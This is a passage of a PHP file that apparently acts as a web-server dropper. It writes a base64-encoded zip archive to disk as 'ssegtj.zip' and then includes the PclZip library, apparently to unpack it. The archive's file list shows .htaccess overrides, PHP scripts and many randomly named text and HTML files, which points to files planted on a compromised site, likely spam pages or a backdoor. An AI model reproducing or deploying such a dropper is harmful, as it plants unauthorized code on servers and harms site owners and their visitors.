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"); 
file_put_contents("ssegtj.zip",$data); 



if (!defined('PCLZIP_READ_BLOCK_SIZE')) {
  define( 'PCLZIP_READ_BLOCK_SIZE', 2048 );
}

if (!defined('PCLZIP_SEPARATOR')) {
  define( 'PCLZIP_SEPARATOR', ',' );
}

if (!defined('PCLZIP_ERROR_EXTERNAL')) {
  define( 'PCLZIP_ERROR_EXTERNAL', 0 );
}

if (!defined('PCLZIP_TEMPORARY_DIR')) {
  define( 'PCLZIP_TEMPORARY_DIR', '' );
}

if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) {
  define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.47 );
}


$g_pclzip_version = "2.8.2";

define( 'PCLZIP_ERR_USER_ABORTED', 2 );
define( 'PCLZIP_ERR_NO_ERROR', 0 );
define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 );
define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 );
define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 );
define( 'PCLZIP_ERR_MISSING_FILE', -4 );
define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 );
define( 'PCLZIP_ERR_INVALID_ZIP', -6 );
define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 );
define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 );
define( 'PCLZIP_ERR_BAD_EXTENSION', -9 );
define( 'PCLZIP_ERR_BAD_FORMAT', -10 );
define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 );
define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 );
define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 );
define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 );
define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 );
define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 );
define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 );
define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 );
define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 );
define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 );
define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 );

define( 'PCLZIP_OPT_PATH', 77001 );
define( 'PCLZIP_OPT_ADD_PATH', 77002 );
define( 'PCLZIP_OPT_REMOVE_PATH', 77003 );
define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 );
define( 'PCLZIP_OPT_SET_CHMOD', 77005 );
define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 );
define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 );
define( 'PCLZIP_OPT_BY_NAME', 77008 );
define( 'PCLZIP_OPT_BY_INDEX', 77009 );
define( 'PCLZIP_OPT_BY_EREG', 77010 );
define( 'PCLZIP_OPT_BY_PREG', 77011 );
define( 'PCLZIP_OPT_COMMENT', 77012 );
define( 'PCLZIP_OPT_ADD_COMMENT', 77013 );
define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 );
define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 );
define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 );
define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 );
define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 );
define( 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020 );
define( 'PCLZIP_OPT_TEMP_FILE_ON', 77021 );
define( 'PCLZIP_OPT_TEMP_FILE_OFF', 77022 );

define( 'PCLZIP_ATT_FILE_NAME', 79001 );
define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 );
define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 );
define( 'PCLZIP_ATT_FILE_MTIME', 79004 );
define( 'PCLZIP_ATT_FILE_CONTENT', 79005 );
define( 'PCLZIP_ATT_FILE_COMMENT', 79006 );

define( 'PCLZIP_CB_PRE_EXTRACT', 78001 );
define( 'PCLZIP_CB_POST_EXTRACT', 78002 );
define( 'PCLZIP_CB_PRE_ADD', 78003 );
define( 'PCLZIP_CB_POST_ADD', 78004 );

class PclZip
{
  var $zipname = '';

  var $zip_fd = 0;

  var $error_code = 1;
  var $error_string = '';
  
  var $magic_quotes_status;

function PclZip($p_zipname)
{

  if (!function_exists('gzopen'))
  {
    die('Abort '.basename(__FILE__).' : Missing zlib extensions');
  }

  $this->zipname = $p_zipname;
  $this->zip_fd = 0;
  $this->magic_quotes_status = -1;

  return;
}

function create($p_filelist)
{
  $v_result=1;

  $this->privErrorReset();

  $v_options = array();
  $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;

  $v_size = func_num_args();

  if ($v_size > 1) {
    $v_arg_list = func_get_args();

    array_shift($v_arg_list);
    $v_size--;

    if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

      $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                          array (PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                 PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                 PCLZIP_OPT_ADD_PATH => 'optional',
                                                 PCLZIP_CB_PRE_ADD => 'optional',
                                                 PCLZIP_CB_POST_ADD => 'optional',
                                                 PCLZIP_OPT_NO_COMPRESSION => 'optional',
                                                 PCLZIP_OPT_COMMENT => 'optional',
                                                 PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                 PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                 PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
                                                 
                                           ));
      if ($v_result != 1) {
        return 0;
      }
    }

    else {

      $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0];

      if ($v_size == 2) {
        $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
      }
      else if ($v_size > 2) {
        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
	                       "Invalid number / type of arguments");
        return 0;
      }
    }
  }
  
  $this->privOptionDefaultThreshold($v_options);

  $v_string_list = array();
  $v_att_list = array();
  $v_filedescr_list = array();
  $p_result_list = array();
  
  if (is_array($p_filelist)) {
  
    if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
      $v_att_list = $p_filelist;
    }
    
    else {
      $v_string_list = $p_filelist;
    }
  }

  else if (is_string($p_filelist)) {
    $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
  }

  else {
    PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist");
    return 0;
  }
  
  if (sizeof($v_string_list) != 0) {
    foreach ($v_string_list as $v_string) {
      if ($v_string != '') {
        $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
      }
      else {
      }
    }
  }
  
  $v_supported_attributes
  = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
           ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
           ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
           ,PCLZIP_ATT_FILE_MTIME => 'optional'
           ,PCLZIP_ATT_FILE_CONTENT => 'optional'
           ,PCLZIP_ATT_FILE_COMMENT => 'optional'
					);
  foreach ($v_att_list as $v_entry) {
    $v_result = $this->privFileDescrParseAtt($v_entry,
                                             $v_filedescr_list[],
                                             $v_options,
                                             $v_supported_attributes);
    if ($v_result != 1) {
      return 0;
    }
  }

  $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
  if ($v_result != 1) {
    return 0;
  }

  $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options);
  if ($v_result != 1) {
    return 0;
  }

  return $p_result_list;
}

function add($p_filelist)
{
  $v_result=1;

  $this->privErrorReset();

  $v_options = array();
  $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;

  $v_size = func_num_args();

  if ($v_size > 1) {
    $v_arg_list = func_get_args();

    array_shift($v_arg_list);
    $v_size--;

    if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

      $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                          array (PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                 PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                 PCLZIP_OPT_ADD_PATH => 'optional',
                                                 PCLZIP_CB_PRE_ADD => 'optional',
                                                 PCLZIP_CB_POST_ADD => 'optional',
                                                 PCLZIP_OPT_NO_COMPRESSION => 'optional',
                                                 PCLZIP_OPT_COMMENT => 'optional',
                                                 PCLZIP_OPT_ADD_COMMENT => 'optional',
                                                 PCLZIP_OPT_PREPEND_COMMENT => 'optional',
                                                 PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                 PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                 PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
                                                 
											   ));
      if ($v_result != 1) {
        return 0;
      }
    }

    else {

      $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0];

      if ($v_size == 2) {
        $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
      }
      else if ($v_size > 2) {
        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

        return 0;
      }
    }
  }

  $this->privOptionDefaultThreshold($v_options);

  $v_string_list = array();
  $v_att_list = array();
  $v_filedescr_list = array();
  $p_result_list = array();
  
  if (is_array($p_filelist)) {
  
    if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
      $v_att_list = $p_filelist;
    }
    
    else {
      $v_string_list = $p_filelist;
    }
  }

  else if (is_string($p_filelist)) {
    $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
  }

  else {
    PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist");
    return 0;
  }
  
  if (sizeof($v_string_list) != 0) {
    foreach ($v_string_list as $v_string) {
      $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
    }
  }
  
  $v_supported_attributes
  = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
           ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
           ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
           ,PCLZIP_ATT_FILE_MTIME => 'optional'
           ,PCLZIP_ATT_FILE_CONTENT => 'optional'
           ,PCLZIP_ATT_FILE_COMMENT => 'optional'
					);
  foreach ($v_att_list as $v_entry) {
    $v_result = $this->privFileDescrParseAtt($v_entry,
                                             $v_filedescr_list[],
                                             $v_options,
                                             $v_supported_attributes);
    if ($v_result != 1) {
      return 0;
    }
  }

  $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
  if ($v_result != 1) {
    return 0;
  }

  $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options);
  if ($v_result != 1) {
    return 0;
  }

  return $p_result_list;
}

function listContent()
{
  $v_result=1;

  $this->privErrorReset();

  if (!$this->privCheckFormat()) {
    return(0);
  }

  $p_list = array();
  if (($v_result = $this->privList($p_list)) != 1)
  {
    unset($p_list);
    return(0);
  }

  return $p_list;
}

function extract()
{
  $v_result=1;

  $this->privErrorReset();

  if (!$this->privCheckFormat()) {
    return(0);
  }

  $v_options = array();
  $v_path = '';
  $v_remove_path = "";
  $v_remove_all_path = false;

  $v_size = func_num_args();

  $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;

  if ($v_size > 0) {
    $v_arg_list = func_get_args();

    if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

      $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                          array (PCLZIP_OPT_PATH => 'optional',
                                                 PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                 PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                 PCLZIP_OPT_ADD_PATH => 'optional',
                                                 PCLZIP_CB_PRE_EXTRACT => 'optional',
                                                 PCLZIP_CB_POST_EXTRACT => 'optional',
                                                 PCLZIP_OPT_SET_CHMOD => 'optional',
                                                 PCLZIP_OPT_BY_NAME => 'optional',
                                                 PCLZIP_OPT_BY_EREG => 'optional',
                                                 PCLZIP_OPT_BY_PREG => 'optional',
                                                 PCLZIP_OPT_BY_INDEX => 'optional',
                                                 PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
                                                 PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional',
                                                 PCLZIP_OPT_REPLACE_NEWER => 'optional'
                                                 ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
                                                 ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
                                                 PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                 PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                 PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
											    ));
      if ($v_result != 1) {
        return 0;
